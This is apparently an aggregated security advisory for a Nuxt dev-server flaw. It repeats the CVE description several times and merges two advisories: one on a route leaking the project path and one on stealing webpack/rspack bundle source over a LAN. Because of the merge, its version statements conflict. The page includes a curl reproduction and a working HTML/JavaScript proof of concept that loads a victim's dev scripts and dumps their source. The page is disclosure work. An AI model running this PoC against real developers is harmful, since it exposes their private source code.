CVE-2026-49993

Nuxt is an open-source web development framework for Vue.js. In @nuxt/rspack-builder and @nuxt/webpack-builder from versions 3.15.4 to before 3.21.7 and 4.0.0 to before 4.4.7, there is an incomplete fix for GHSA-6m52-m754-pw2g. Source code may still be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network. This issue has been patched in versions 3.21.7 and 4.4.7.

Nuxt is an open-source web development framework for Vue.js. In @nuxt/rspack-builder and @nuxt/webpack-builder from versions 3.15.4 to before 3.21.7 and 4.0.0 to before 4.4.7, there is an incomplete fix for GHSA-6m52-m754-pw2g. Source code may still be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network. This issue has been patched in versions 3.21.7 and 4.4.7.

Summary

When running nuxt dev, Nuxt registers an unauthenticated route at /.well-known/appspecific/com.chrome.devtools.json that returns the absolute filesystem path of the project root and a per-project UUID persisted to node_modules/.cache/nuxt/chrome-workspace.json. The route is enabled by default via experimental.chromeDevtoolsProjectSettings: true.

The endpoint exists to let Chrome DevTools' Workspace integration map sources to the developer's local checkout. The handler is registered directly on nitro.options.devHandlers and does not pass through the CORS / origin wrapper that the rest of the dev pipeline uses, so it has no host / origin / Sec-Fetch-Site check of its own.

Impact

Dev-server only. Production builds do not register the route.

Two values are disclosed:

• workspace.root: the absolute filesystem path of the project (commonly reveals the OS username and the on-disk project name).
• workspace.uuid: a v4 UUID persisted to node_modules/.cache/nuxt/chrome-workspace.json, stable across dev-server restarts and re-clones.

Threat model

The response carries no Access-Control-Allow-Origin header. A cross-origin fetch() from an arbitrary malicious page is therefore blocked by the browser's same-origin policy and cannot read the body. The two realistic recovery paths are:

1. LAN-adjacent attacker when the developer runs nuxt dev --host (or otherwise binds to a non-loopback interface). A plain curl http://<dev-lan-ip>:3000/.well-known/appspecific/com.chrome.devtools.json returns the JSON; no browser, no CORS.
2. DNS rebinding against the default loopback dev server. A page the developer visits resolves to the attacker, then re-resolves to 127.0.0.1 after the TTL; the browser believes the request is same-origin and reads the response.

Affected versions

[email protected] (PR #32084) through [email protected]. 3.x is not affected.

Reproduction

npx nuxt dev
curl -s http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
# {"workspace":{"uuid":"...","root":"/Users/<name>/..."}}

Workaround

Set experimental: { chromeDevtoolsProjectSettings: false } in nuxt.config.ts. Chrome DevTools' Workspace auto-integration will stop working; the dev server is otherwise unaffected.

Patches

Fixed in [email protected] by #35201 (commit 55c75b78). The handler is now routed through the same host / origin gate the rest of the dev server uses, so the endpoint only responds to requests that look local.

Summary

This is an incomplete fix for GHSA-6m52-m754-pw2g. Source code may still be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.

Details

The fix for GHSA-6m52-m754-pw2g added an Origin / Referer fallback to the dev-middleware same-origin check, with a return true branch when neither header is present so that non-browser clients (curl, the HMR client, address-bar navigation) keep working.

That fallback is bypassed when a cross-origin attacker request reaches the dev server with all three signal headers absent:

• Sec-Fetch-Site is not sent by browsers to non-potentially-trustworthy destinations (HTTP on a non-loopback address).
• Origin is not sent on non-CORS subresource fetches (a bare <script> with no crossorigin).
• Referer can be suppressed by the attacker page with <meta name="referrer" content="no-referrer"> or referrerpolicy="no-referrer" on the <script> element.

A classic <script src="http://VICTIM_LAN_IP:3000/_nuxt/app.js" referrerpolicy="no-referrer"> from a non-trustworthy attacker origin produces exactly that header set, the request is allowed, and the attacker page can read the built source out of window.webpackChunk* via Function.prototype.toString().

Since the attack requires the dev server to be reachable via a non-potentially-trustworthy origin, only apps using --host (or --host 0.0.0.0) are affected. Chrome 142+ users are also protected by Local Network Access restrictions.

PoC

1. Create a Nuxt project with the webpack / rspack builder.
2. Run npm run dev -- --host 0.0.0.0.
3. Open http://localhost:3000 on the developer machine.
4. From a different LAN host, serve the page below and open it in the same browser.
5. The compiled module source is exfiltrable from window.webpackChunknuxt_<projectname>.

<!doctype html>
<meta name="referrer" content="no-referrer">
<script>
  ['/_nuxt/runtime.js', '/_nuxt/app.js'].forEach(p => {
    const s = document.createElement('script')
    s.src = 'http://VICTIM_LAN_IP:3000' + p
    s.referrerPolicy = 'no-referrer'
    document.head.appendChild(s)
  })
  setTimeout(() => {
    const key = Object.keys(window).find(k => k.startsWith('webpackChunk'))
    for (const [, mods] of window[key]) {
      for (const id in mods) {
        console.log(id, mods[id].toString())
      }
    }
  }, 1500)
</script>

Impact

Users using the webpack / rspack builder with nuxt dev --host may get the built source code read by malicious websites on the same network, including module identifiers, the developer's local filesystem path, and any developer-controlled strings inlined into the bundle.

This vulnerability does not affect Chrome 142+ (and other Chromium-based browsers) users due to Local Network Access restrictions.

The default Vite builder is not affected.

Patches

Fixed in @nuxt/[email protected] / @nuxt/[email protected] and backported to @nuxt/[email protected] / @nuxt/[email protected] by #35200 (4.x: commit e351de94; 3.x: commit 77187ee4). The dev-middleware same-origin check now treats a request with no Sec-Fetch-Site, no Origin, and no Referer as same-origin only when the dev server is loopback-bound, closing the header-suppression bypass.

The…

Nuxt is an open-source web development framework for Vue.js. In @nuxt/rspack-builder and @nuxt/webpack-builder from versions 3.15.4 to before 3.21.7 and 4.0.0 to before 4.4.7, there is an incomplete fix for GHSA-6m52-m754-pw2g. Source code may still be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network. This issue has been patched in versions 3.21.7 and 4.4.7.

Nuxt is an open-source web development framework for Vue.js. In @nuxt/rspack-builder and @nuxt/webpack-builder from versions 3.15.4 to before 3.21.7 and 4.0.0 to before 4.4.7, there is an incomplete fix for GHSA-6m52-m754-pw2g. Source code may still be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network. This issue has been patched in versions 3.21.7 and 4.4.7.